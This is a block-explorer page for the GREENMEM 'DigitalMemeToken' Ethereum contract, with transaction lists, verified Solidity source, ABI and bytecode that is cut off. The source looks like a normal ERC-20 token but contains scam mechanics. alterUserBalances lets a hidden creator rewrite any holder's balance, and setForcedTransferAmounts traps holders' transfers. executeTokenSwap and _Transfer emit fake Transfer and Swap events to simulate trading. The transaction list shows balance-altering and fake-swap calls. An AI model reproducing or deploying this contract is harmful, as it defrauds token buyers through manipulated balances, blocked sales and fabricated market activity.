ETH Price: $2,107.37 (-10.19%)

Contract

0xFC1f35B23168ddEFb81eA22DB698163bB0538eEA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve219372072025-02-27 10:54:5920 hrs ago1740653699IN
0xFC1f35B2...bB0538eEA
0 ETH0.000028711.15564634
Approve219372042025-02-27 10:54:2320 hrs ago1740653663IN
0xFC1f35B2...bB0538eEA
0 ETH0.000027591.11047246
Approve219372032025-02-27 10:54:1120 hrs ago1740653651IN
0xFC1f35B2...bB0538eEA
0 ETH0.000028931.16437638
Approve219371932025-02-27 10:52:1120 hrs ago1740653531IN
0xFC1f35B2...bB0538eEA
0 ETH0.000028411.146028
Approve211833832024-11-14 3:55:47106 days ago1731556547IN
0xFC1f35B2...bB0538eEA
0 ETH0.0007096228.62428309
Approve208996972024-10-05 13:40:59145 days ago1728135659IN
0xFC1f35B2...bB0538eEA
0 ETH0.000215778.70363886
Approve205108192024-08-12 6:43:23200 days ago1723445003IN
0xFC1f35B2...bB0538eEA
0 ETH0.000077051.64391501
Approve197522662024-04-28 7:16:23305 days ago1714288583IN
0xFC1f35B2...bB0538eEA
0 ETH0.000132195.31949928
Approve197085462024-04-22 4:26:47312 days ago1713760007IN
0xFC1f35B2...bB0538eEA
0 ETH0.000260435.5323896
Approve189360312024-01-04 19:25:23420 days ago1704396323IN
0xFC1f35B2...bB0538eEA
0 ETH0.0005624622.63368767
Approve189360302024-01-04 19:25:11420 days ago1704396311IN
0xFC1f35B2...bB0538eEA
0 ETH0.0005544222.36377539
Approve188820952023-12-28 5:41:47428 days ago1703742107IN
0xFC1f35B2...bB0538eEA
0 ETH0.0006583726.49286608
Approve188820932023-12-28 5:41:23428 days ago1703742083IN
0xFC1f35B2...bB0538eEA
0 ETH0.0006846227.6157537
Approve177391442023-07-21 4:29:59588 days ago1689913799IN
0xFC1f35B2...bB0538eEA
0 ETH0.0007076815.03307512
Approve175890832023-06-30 2:20:11609 days ago1688091611IN
0xFC1f35B2...bB0538eEA
0 ETH0.000577723.24676144
Transfer175811402023-06-28 23:37:11610 days ago1687995431IN
0xFC1f35B2...bB0538eEA
0 ETH0.0004904818
Transfer175559072023-06-25 10:30:11613 days ago1687689011IN
0xFC1f35B2...bB0538eEA
0 ETH0.0003691313.55268319
Transfer175558682023-06-25 10:22:23613 days ago1687688543IN
0xFC1f35B2...bB0538eEA
0 ETH0.0003720813.66085106
Approve175554282023-06-25 8:52:11613 days ago1687683131IN
0xFC1f35B2...bB0538eEA
0 ETH0.0005662512.02885824
Alter User Balan...175554262023-06-25 8:51:47613 days ago1687683107IN
0xFC1f35B2...bB0538eEA
0 ETH0.000641312.77831462
Execute Token Sw...175554142023-06-25 8:49:23613 days ago1687682963IN
0xFC1f35B2...bB0538eEA
0 ETH0.0012721512.37540464
Execute Token Sw...175554032023-06-25 8:47:11613 days ago1687682831IN
0xFC1f35B2...bB0538eEA
0 ETH0.0015475313.64033432
Execute Token Sw...175553932023-06-25 8:45:11613 days ago1687682711IN
0xFC1f35B2...bB0538eEA
0 ETH0.0018670911.95447468
Execute Token Sw...175553822023-06-25 8:42:59613 days ago1687682579IN
0xFC1f35B2...bB0538eEA
0 ETH0.0012053613.08333309
Execute Token Sw...175553722023-06-25 8:40:59613 days ago1687682459IN
0xFC1f35B2...bB0538eEA
0 ETH0.0021150112.6751066
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
176611202023-07-10 5:14:35599 days ago1688966075
0xFC1f35B2...bB0538eEA
0 ETH
176611202023-07-10 5:14:35599 days ago1688966075
0xFC1f35B2...bB0538eEA
0 ETH
176528602023-07-09 1:21:35600 days ago1688865695
0xFC1f35B2...bB0538eEA
0 ETH
176528602023-07-09 1:21:35600 days ago1688865695
0xFC1f35B2...bB0538eEA
0 ETH
176528602023-07-09 1:21:35600 days ago1688865695
0xFC1f35B2...bB0538eEA
0 ETH
176528602023-07-09 1:21:35600 days ago1688865695
0xFC1f35B2...bB0538eEA
0 ETH
176263342023-07-05 7:55:35603 days ago1688543735
0xFC1f35B2...bB0538eEA
0 ETH
176263342023-07-05 7:55:35603 days ago1688543735
0xFC1f35B2...bB0538eEA
0 ETH
176222322023-07-04 18:07:11604 days ago1688494031
0xFC1f35B2...bB0538eEA
0 ETH
176222322023-07-04 18:07:11604 days ago1688494031
0xFC1f35B2...bB0538eEA
0 ETH
176174262023-07-04 1:53:59605 days ago1688435639
0xFC1f35B2...bB0538eEA
0 ETH
176174262023-07-04 1:53:59605 days ago1688435639
0xFC1f35B2...bB0538eEA
0 ETH
176174262023-07-04 1:53:59605 days ago1688435639
0xFC1f35B2...bB0538eEA
0 ETH
176174262023-07-04 1:53:59605 days ago1688435639
0xFC1f35B2...bB0538eEA
0 ETH
175593072023-06-25 21:58:11613 days ago1687730291
0xFC1f35B2...bB0538eEA
0 ETH
175593072023-06-25 21:58:11613 days ago1687730291
0xFC1f35B2...bB0538eEA
0 ETH
175593072023-06-25 21:58:11613 days ago1687730291
0xFC1f35B2...bB0538eEA
0 ETH
175593072023-06-25 21:58:11613 days ago1687730291
0xFC1f35B2...bB0538eEA
0 ETH
175583602023-06-25 18:45:35613 days ago1687718735
0xFC1f35B2...bB0538eEA
0 ETH
175583602023-06-25 18:45:35613 days ago1687718735
0xFC1f35B2...bB0538eEA
0 ETH
175583602023-06-25 18:45:35613 days ago1687718735
0xFC1f35B2...bB0538eEA
0 ETH
175583602023-06-25 18:45:35613 days ago1687718735
0xFC1f35B2...bB0538eEA
0 ETH
175554302023-06-25 8:52:35613 days ago1687683155
0xFC1f35B2...bB0538eEA
0 ETH
175554302023-06-25 8:52:35613 days ago1687683155
0xFC1f35B2...bB0538eEA
0 ETH
175554302023-06-25 8:52:35613 days ago1687683155
0xFC1f35B2...bB0538eEA
0 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DigitalMemeToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract DigitalMemeToken is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "GREENMEM";
    string public constant _ticker = "GREENMEM";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a3506012600a620000d2919062000372565b62989680620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b62989680620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b612397806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b710000000